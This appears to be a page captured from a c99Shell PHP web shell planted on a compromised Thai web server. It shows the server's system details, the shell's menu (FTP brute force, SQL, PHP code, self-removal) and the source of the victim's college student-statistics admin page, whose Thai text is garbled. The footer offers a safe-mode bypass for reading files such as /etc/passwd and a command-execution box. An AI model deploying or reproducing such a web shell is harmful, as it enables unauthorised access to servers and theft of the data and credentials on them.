110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/admin/ drwxr-xr-x Free 52.82 GB of 127.8 GB (41.33%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php

    //-- Include SOAP lib

    require_once( "../configuration.php" );

    require_once("../lib/nusoap/nusoap.php");

    

    //-- Connect Database REG

    require_once( "../includes/FunctionDB.php" );

    ConnectDB();

    

    //--     Create SOAP CLIENT

    $client = new soapclient($_Config_server_path);    

?>



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />

<link href="../css/default.css" rel="stylesheet" type="text/css" />

<title>MIS -- Administrator</title>

<script type="text/javascript" src="./js/utilities.js"></script>

</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">

      <br /><br />      

<?php 

    //-- STUDENT BY YEAR

    if(isset($_REQUEST['dataType']) && $_REQUEST['dataType'] == "year"){

    $response = $client->call('getStudentByYearID',array('collogeCode'=>base64_encode($_Config_college_code)));

    $data = split(',',$response);            

?>      

      <table width="94%" border="0" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">        

        <tr bgcolor="#F9FBFB">

          <td height="25" colspan="3" align="center"><strong>ГТВЕРаНХВґ ўйНБЩЕ№СЎИЦЎЙТЁУб№ЎµТБ»ХЎТГИЦЎЙТ</strong>          </td>

        </tr>                

        <tr bgcolor="#F9FBFB">

          <td width="46%" height="25" align="center" class="BORDER-TOP"><strong>»ХЎТГИЦЎЙТ</strong></td>

          <td width="29%" align="center" class="BORDER-TOP-LEFT"><strong>ЄТВ</strong></td>

          <td width="25%" align="center" class="BORDER-TOP-LEFT"><strong>ЛФ§</strong></td>

        </tr>

        <?php for($i=0;$i<sizeof($data);$i++){

                $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; 

                $result = $client->call('getStudentByYear',array('admitAcadYear'=>base64_encode($data[$i]),'collogeCode'=>base64_encode($_Config_college_code)));

        ?>

        <tr bgcolor="<?=$bgColor;?>">

          <td height="22" align="center" class="BORDER-TOP"><?=base64_decode($result[1]);?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[2]);?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[3]);?></td>

        </tr>     

        <?php }?>    

        <tr bgcolor="<?=( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";?>">

          <td height="46" colspan="3" align="center" bgcolor="#FFFFFF" class="BORDER-TOP">

          <input type="button" name="Submit2" value=" »ФґЛ№йТµиТ§" onclick="javascript:parent.close();" class="button1"  style="cursor:pointer"/>          </td>

        </tr>

    </table>     

<?php }?>



<?php 

    //-- STUDENT BY PROGRAM

    if(isset($_REQUEST['dataType']) && $_REQUEST['dataType'] == "program"){

    $response = $client->call('getStudentByProgramID',array('collogeCode'=>base64_encode($_Config_college_code)));

    $data = split(',',$response);            

?>      

      <table width="94%" border="0" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">        

        <tr bgcolor="#F9FBFB">

          <td height="25" colspan="3" align="center"><strong>ГТВЕРаНХВґ ўйНБЩЕ№СЎИЦЎЙТЁУб№ЎµТБЛЕСЎКЩµГ</strong>          </td>

        </tr>                

        <tr bgcolor="#F9FBFB">

          <td width="80%" height="25" align="center" class="BORDER-TOP"><strong>ЛЕСЎКЩµГ</strong></td>

          <td width="10%" align="center" class="BORDER-TOP-LEFT"><strong>ЄТВ</strong></td>

          <td width="10%" align="center" class="BORDER-TOP-LEFT"><strong>ЛФ§</strong></td>

        </tr>

        <?php for($i=0;$i<sizeof($data);$i++){

                $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; 

                $result = $client->call('getStudentByProgram',array('programId'=>base64_encode($data[$i]),'collogeCode'=>base64_encode($_Config_college_code)));

                $strQuery = "select programName from Program where programId = '".base64_decode($result[1])."'";

                $resultQuery = mysql_query($strQuery);

                $RSProgram = mysql_fetch_object($resultQuery);

        ?>

        <tr bgcolor="<?=$bgColor;?>">

          <td height="22" align="left" class="BORDER-TOP">&nbsp;<?=$RSProgram->programName;?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[2]);?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[3]);?></td>

        </tr>     

        <?php }?>    

        <tr bgcolor="<?=( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";?>">

          <td height="46" colspan="3" align="center" bgcolor="#FFFFFF" class="BORDER-TOP">

          <input type="button" name="Submit2" value=" »ФґЛ№йТµиТ§" onclick="javascript:parent.close();" class="button1"  style="cursor:pointer"/>          </td>

        </tr>

    </table>     

<?php }?>



<?php 

    //-- STUDENT BY PROVINCE

    if(isset($_REQUEST['dataType']) && $_REQUEST['dataType'] == "province"){

    $response = $client->call('getStudentByProvinceID',array('collogeCode'=>base64_encode($_Config_college_code)));

    $data = split(',',$response);            

?>      

      <table width="94%" border="0" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">        

        <tr bgcolor="#F9FBFB">

          <td height="25" colspan="3" align="center"><strong>ГТВЕРаНХВґ ўйНБЩЕ№СЎИЦЎЙТЁУб№ЎµТБЁС§ЛЗСґ</strong>          </td>

        </tr>                

        <tr bgcolor="#F9FBFB">

          <td width="46%" height="25" align="center" class="BORDER-TOP"><strong>ЁС§ЛЗСґ</strong></td>

          <td width="29%" align="center" class="BORDER-TOP-LEFT"><strong>ЄТВ</strong></td>

          <td width="25%" align="center" class="BORDER-TOP-LEFT"><strong>ЛФ§</strong></td>

        </tr>

        <?php for($i=0;$i<sizeof($data);$i++){

                $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; 

                $result = $client->call('getStudentByProvince',array('provinceId'=>base64_encode($data[$i]),'collogeCode'=>base64_encode($_Config_college_code)));

                $strQuery = "select provinceName from Province where provinceId = '".base64_decode($result[1])."'";

                $resultQuery = mysql_query($strQuery);

                $RSProvince = mysql_fetch_object($resultQuery);

        ?>

        <tr bgcolor="<?=$bgColor;?>">

          <td height="22" align="left" class="BORDER-TOP">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?=$RSProvince->provinceName;?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[2]);?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[3]);?></td>

        </tr>     

        <?php }?>    

        <tr bgcolor="<?=( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";?>">

          <td height="46" colspan="3" align="center" bgcolor="#FFFFFF" class="BORDER-TOP">

          <input type="button" name="Submit2" value=" »ФґЛ№йТµиТ§" onclick="javascript:parent.close();" class="button1"  style="cursor:pointer"/>          </td>

        </tr>

    </table>     

<?php }?>



<?php 

    //-- STUDENT BY LEVEL

    if(isset($_REQUEST['dataType']) && $_REQUEST['dataType'] == "level"){

        $resLevelNew = $client->call('getStudentByLevelID',array('collogeCode'=>base64_encode($_Config_college_code),'statusId'=>base64_encode("1")));

        $resLevelAll = $client->call('getStudentByLevelID',array('collogeCode'=>base64_encode($_Config_college_code),'statusId'=>base64_encode("2")));

        $resLevelGD = $client->call('getStudentByLevelID',array('collogeCode'=>base64_encode($_Config_college_code),'statusId'=>base64_encode("3")));

    

        $dataLevelNew = split(',',$resLevelNew[0]);

        $dataAdmitAcadYearNew = split(',',$resLevelNew[1]);

        $dataLevelAll = split(',',$resLevelAll[0]);

        $dataAdmitAcadYearAll = split(',',$resLevelAll[1]);

        $dataLevelGD = split(',',$resLevelGD[0]);                    

        $dataAdmitAcadYearGD = split(',',$resLevelGD[1]);        

?>      

      <table width="94%" border="0" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">        

        <tr bgcolor="#F9FBFB">

          <td height="25" colspan="4" align="center"><strong>ГТВЕРаНХВґ ўйНБЩЕ№СЎИЦЎЙТЁУб№ЎµТБГРґСєЎТГИЦЎЙТ</strong></td>

        </tr>     

        <tr bgcolor="#F9FBFB">

          <td height="25" colspan="4" align="center" class="BORDER-TOP"><strong>№СЎИЦЎЙТгЛБи</strong></td>

        </tr>              

        <tr bgcolor="#F9FBFB">

          <td width="19%" height="25" align="center" class="BORDER-TOP"><strong>»ХЎТГИЦЎЙТ</strong></td>

          <td width="51%" align="center" class="BORDER-TOP-LEFT"><strong>ГРґСєЎТГИЦЎЙТ</strong></td>

          <td width="15%" align="center" class="BORDER-TOP-LEFT"><strong>ЄТВ</strong></td>

          <td width="15%" align="center" class="BORDER-TOP-LEFT"><strong>ЛФ§</strong></td>

        </tr>

        <?php for($i=0;$i<sizeof($dataLevelNew);$i++){

                $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; 

                $result = $client->call('getStudentByLevel',array('levelId'=>base64_encode($dataLevelNew[$i]),'collogeCode'=>base64_encode($_Config_college_code),'admitAcadYear'=>base64_encode($dataAdmitAcadYearNew[$i]),'statusId'=>base64_encode("1")));

                $strQuery = "select levelName from Level where levelId = '".base64_decode($result[2])."'";

                $resultQuery = mysql_query($strQuery);

                $RSLevelNew = mysql_fetch_object($resultQuery);

        ?>

        <tr bgcolor="<?=$bgColor;?>">         

          <td height="22" align="center" class="BORDER-TOP"><?=base64_decode($result[1]);?></td>

          <td height="22" align="left" class="BORDER-TOP-LEFT">&nbsp;&nbsp;&nbsp;<?=$RSLevelNew->levelName;?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[3]);?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[4]);?></td>

        </tr>     

        <?php }?>    

        <tr bgcolor="#F9FBFB">

          <td height="25" colspan="4" align="center" class="BORDER-TOP"><strong>№СЎИЦЎЙТ·Сй§ЛБґ</strong></td>

        </tr>              

        <tr bgcolor="#F9FBFB">

          <td width="19%" height="25" align="center" class="BORDER-TOP"><strong>»ХЎТГИЦЎЙТ</strong></td>

          <td width="51%" align="center" class="BORDER-TOP-LEFT"><strong>ГРґСєЎТГИЦЎЙТ</strong></td>

          <td width="15%" align="center" class="BORDER-TOP-LEFT"><strong>ЄТВ</strong></td>

          <td width="15%" align="center" class="BORDER-TOP-LEFT"><strong>ЛФ§</strong></td>

        </tr>

        <?php 

                $bgColor = "";

                for($i=0;$i<sizeof($dataLevelAll);$i++){

                $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; 

                $result = $client->call('getStudentByLevel',array('levelId'=>base64_encode($dataLevelAll[$i]),'collogeCode'=>base64_encode($_Config_college_code),'admitAcadYear'=>base64_encode($dataAdmitAcadYearAll[$i]),'statusId'=>base64_encode("2")));

                $strQuery = "select levelName from Level where levelId = '".base64_decode($result[2])."'";

                $resultQuery = mysql_query($strQuery);

                $RSLevelAll = mysql_fetch_object($resultQuery);

        ?>

        <tr bgcolor="<?=$bgColor;?>">

          <td height="22" align="center" class="BORDER-TOP"><?=base64_decode($result[1]);?></td>

          <td height="22" align="left" class="BORDER-TOP-LEFT">&nbsp;&nbsp;&nbsp;<?=$RSLevelAll->levelName;?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[3]);?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[4]);?></td>

        </tr>     

        <?php }?>  

        <tr bgcolor="#F9FBFB">

          <td height="25" colspan="4" align="center" class="BORDER-TOP"><strong>№СЎИЦЎЙТ·ХиКУаГзЁЎТГИЦЎЙТ</strong></td>

        </tr>              

        <tr bgcolor="#F9FBFB">

          <td width="19%" height="25" align="center" class="BORDER-TOP"><strong>»ХЎТГИЦЎЙТ</strong></td>

          <td width="51%" align="center" class="BORDER-TOP-LEFT"><strong>ГРґСєЎТГИЦЎЙТ</strong></td>

          <td width="15%" align="center" class="BORDER-TOP-LEFT"><strong>ЄТВ</strong></td>

          <td width="15%" align="center" class="BORDER-TOP-LEFT"><strong>ЛФ§</strong></td>

        </tr>

        <?php 

                $bgColor = "";

                for($i=0;$i<sizeof($dataLevelGD);$i++){

                $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; 

                $result = $client->call('getStudentByLevel',array('levelId'=>base64_encode($dataLevelGD[$i]),'collogeCode'=>base64_encode($_Config_college_code),'admitAcadYear'=>base64_encode($dataAdmitAcadYearGD[$i]),'statusId'=>base64_encode("3")));

                $strQuery = "select levelName from Level where levelId = '".base64_decode($result[2])."'";

                $resultQuery = mysql_query($strQuery);

                $RSLevelGD = mysql_fetch_object($resultQuery);

        ?>

        <tr bgcolor="<?=$bgColor;?>">

          <td height="22" align="center" class="BORDER-TOP"><?=base64_decode($result[1]);?></td>

          <td height="22" align="left" class="BORDER-TOP-LEFT">&nbsp;&nbsp;&nbsp;<?=$RSLevelGD->levelName;?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[3]);?></td>

          <td align="center" class="BORDER-TOP-LEFT"><?=base64_decode($result[4]);?></td>

        </tr>     

        <?php }?>  

        <tr bgcolor="<?=( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF";?>">

          <td height="46" colspan="4" align="center" bgcolor="#FFFFFF" class="BORDER-TOP">

          <input type="button" name="Submit2" value=" »ФґЛ№йТµиТ§" onclick="javascript:parent.close();" class="button1"  style="cursor:pointer"/>          </td>

        </tr>

    </table>     

<?php }?>

</body>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: